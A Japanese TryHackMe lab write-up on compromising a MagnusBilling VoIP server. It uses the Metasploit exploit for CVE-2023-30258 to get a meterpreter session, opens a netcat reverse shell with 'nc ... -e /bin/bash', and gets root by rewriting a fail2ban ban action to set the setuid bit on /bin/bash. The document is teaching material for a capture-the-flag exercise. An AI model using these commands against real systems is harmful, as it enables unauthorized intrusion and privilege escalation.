はじめに
本記事はTryHackMeのWriteupです。
RoomはBilling、Difficulty(難易度)はEasyです。
このRoomでは、MagnusBillingの脆弱性などについて学ぶことができます。
ポートスキャン
はじめにポートスキャンを実行します。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 13:42 JST
Nmap scan report for 10.10.227.23
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
| 256 c6:ce:ca:84:f9:01:26:e8:28:c1:30:d9:c1:ea:b7:da (ECDSA)
|_ 256 38:f0:45:19:97:c3:97:c2:07:1b:ac:f5:cf:4d:c3:35 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/mbilling/
| http-title: MagnusBilling
|_Requested resource was http://10.10.227.23/mbilling/
|_http-server-header: Apache/2.4.62 (Debian)
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
5038/tcp open asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.79 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、80番ポートにアクセスすると、以下の様な画面が表示されます。
MagnusBillingは、オープンソースで開発されているVoIPビジネスに特化した課金システムです。
コンテンツ探索
MagnusBillingの列挙を行うにあたりgobuster
を用いて、コンテンツ探索を行います。
$ gobuster dir -u http://10.10.243.210/mbilling -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.243.210/mbilling
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/akeeba.backend.log (Status: 403) [Size: 278]
/archive (Status: 301) [Size: 325] [--> http://10.10.243.210/mbilling/archive/]
/assets (Status: 301) [Size: 324] [--> http://10.10.243.210/mbilling/assets/]
/development.log (Status: 403) [Size: 278]
/fpdf (Status: 301) [Size: 322] [--> http://10.10.243.210/mbilling/fpdf/]
/index.html (Status: 200) [Size: 30760]
/index.php (Status: 200) [Size: 663]
/lib (Status: 301) [Size: 321] [--> http://10.10.243.210/mbilling/lib/]
/LICENSE (Status: 200) [Size: 7652]
/production.log (Status: 403) [Size: 278]
/protected (Status: 403) [Size: 278]
/resources (Status: 301) [Size: 327] [--> http://10.10.243.210/mbilling/resources/]
/spamlog.log (Status: 403) [Size: 278]
/tmp (Status: 301) [Size: 321] [--> http://10.10.243.210/mbilling/tmp/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
上記結果からは何も得られませんでしたが、README.md
よりMagnusBillingに関するバージョン情報が確認できました。
脆弱性分析
GoogleでMagnusBillingの脆弱性について調査したところ、MagnusBillingのバージョン6及び7に関して、CVE-2023-30258の脆弱性が確認できました。
CVE-2023-30258の脆弱性は、OSコマンドインジェクションによって、リモートの攻撃者が認証されていないHTTP要求を介して任意のコマンドを実行できる可能性があります。
システムハッキング
Metasploitを利用して、足場を作ります。
アクセスの獲得
msfconsole
起動後、以下のコマンドを実行してMagnusBillingのモジュールを確認します。
msf6 > search magnusbilling
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 2023-06-26 excellent Yes MagnusBilling application unauthenticated Remote Command Execution.
1 \_ target: PHP . . . .
2 \_ target: Unix Command . . . .
3 \_ target: Linux Dropper . . . .
Interact with a module by name or index. For example info 3, use 3 or use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Dropper'
モジュールが確認できたので以下のコマンドを実行して設定します。
msf6 > use 0
[*] Using configured payload php/meterpreter/reverse_tcp
rhost
とlhost
を設定後、exploit
を実行します。
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit
[*] Started reverse TCP handler on [REDACTED]:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.10.243.210:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 6 seconds.
[*] Elapsed time: 6.56 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 10.10.243.210
[+] Deleted VtGCmJOSBJBNJ.php
[*] Meterpreter session 1 opened ([REDACTED]:4444 -> 10.10.243.210:53858) at 2025-06-30 13:58:18 +0900
meterpreter >
exploit
が成功すると、Meterpreterのシェルが利用可能になります。
ユーザーフラグ
/home
ディレクトリを確認すると、magnusユーザーが確認できました。
meterpreter > ls /home
Listing: /home
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040755/rwxr-xr-x 4096 dir 2025-06-30 13:48:20 +0900 debian
040755/rwxr-xr-x 4096 dir 2024-09-09 23:45:14 +0900 magnus
040755/rwxr-xr-x 4096 dir 2025-05-29 06:32:43 +0900 ssm-user
ユーザーフラグを取得します。
meterpreter > cat /home/magnus/user.txt
THM{REDACTED}
ルートフラグ
Meterpreterのセッションでは一部の調査が行いにくいため、作業しやすい環境を整えるために新たなシェルを取得します。
まずはshell
コマンドで通常のシェルに移行します。
meterpreter > shell
Process 2462 created.
Channel 1 created.
Metasploitでは既に4444番ポートを使用しているため、別の空いているポート(以下の例では4445番)を指定してリスナーを起動します。
nc -lnvp 4445
listening on [any] 4445 ...
Meterpreter側から以下のコマンドを実行します。
nc [REDACTED] 4445 -e /bin/bash
上記コマンド実行後、新しいリバースシェルが確立されます。
connect to [10.2.4.158] from (UNKNOWN) [10.10.243.210] 58300
続けてリバースシェルを安定化することで、より柔軟な調査を行えるように整えます。
asterisk@ip-10-10-243-210:/var/www/html/mbilling/lib/icepay$
id
コマンドの結果より、現在asteriskユーザでログインしていることが分かります。
uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)
sudo -l
コマンドを実行すると、fail2ban-client
が設定されていることが確認できました。
Matching Defaults entries for asterisk on ip-10-10-243-210:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for asterisk:
Defaults!/usr/bin/fail2ban-client !requiretty
User asterisk may run the following commands on ip-10-10-243-210:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
また、ps
コマンドの結果より、fail2banのプロセスは現在も起動中であることが確認できます。
ps aux | grep 'USER\|fail2ban' | grep -v grep
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 845 0.2 1.5 1171732 30212 ? Ssl 19:49 0:03 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
Fail2Banについて調査したところ、Fail2Banのサービスを悪用して、標準ユーザからルートユーザに権限を昇格させる方法を発見しました。
以下のコマンドを実行すると、現在設定されているジェイルが確認できます。
sudo /usr/bin/fail2ban-client status
Status
|- Number of jail: 8
`- Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd
/etc/fail2ban/jail.local
ファイルを開き、設定の詳細を確認します。
[DEFAULT]
ignoreip = 127.0.0.1
bantime = 600
findtime = 600
maxretry = 3
backend = auto
usedns = warn
[asterisk-iptables]
enabled = true
filter = asterisk
action = iptables-allports[name=ASTERISK, port=all, protocol=all]
logpath = /var/log/asterisk/messages
maxretry = 5
bantime = 600
[ast-cli-attck]
enabled = true
filter = asterisk_cli
action = iptables-allports[name=AST_CLI_Attack, port=all, protocol=all]
logpath = /var/log/asterisk/messages
maxretry = 1
bantime = -1
[asterisk-manager]
enabled = true
filter = asterisk_manager
action = iptables-allports[name=AST_MANAGER, port=all, protocol=all]
logpath = /var/log/asterisk/messages
maxretry = 1
bantime = -1
[ast-hgc-200]
enabled = true
filter = asterisk_hgc_200
action = iptables-allports[name=AST_HGC_200, port=all, protocol=all]
logpath = /var/log/asterisk/messages
maxretry = 20
bantime = -1
[mbilling_login]
enabled = true
filter = mbilling_login
action = iptables-allports[name=mbilling_login, port=all, protocol=all]
logpath = /var/www/html/mbilling/protected/runtime/application.log
maxretry = 3
bantime = 300
[ip-blacklist]
enabled = true
filter = ip-blacklist
action = iptables-allports[name=ASTERISK, protocol=all]
logpath = /var/www/html/mbilling/resources/ip.blacklist
maxretry = 0
findtime = 15552000
bantime = -1
[sshd]
enablem=true
[mbilling_ddos]
enabled = true
filter = mbilling_ddos
action = iptables-allports[name=mbilling_ddos, port=all, protocol=all]
logpath = /var/log/apache2/error.log
maxretry = 20
bantime = 3600
asterisk-iptables
のジェイルより、現在設定されているアクションを確認します。
sudo /usr/bin/fail2ban-client get asterisk-iptables actions
The jail asterisk-iptables has the following actions:
iptables-allports-ASTERISK
また、Banが行われた際に実行されるアクションとして、actionban
の設定値を確認します。
sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<iptables> -I f2b-ASTERISK 1 -s <ip> -j <blocktype>
以下のコマンドを実行して、/bin/bash
にsetuidを設定するように変更します。
sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
chmod +s /bin/bash
以下のコマンドを実行して、設定変更できたことを確認します。
sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
chmod +s /bin/bash
手動でBanをトリガーさせるため、適当なIPアドレスをセットします。
sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
1
/bin/bash
に対するsetuidの付与が確認できます。
ls -l /bin/bash
-rwsr-sr-x 1 root root 1265648 Apr 18 13:47 /bin/bash
バッシュを特権モードで起動します。
bash -p
bash-5.2#
id
コマンドの結果より、euid
及びegid
について、rootに変更されたことが確認できます。
uid=1001(asterisk) gid=1001(asterisk) euid=0(root) egid=0(root) groups=0(root),1001(asterisk)
ルートフラグを取得します。
cat /root/root.txt
THM{REDACTED}
おわりに
ルートフラグの取得については、fail2banを攻略する必要がある面白いRoomでした。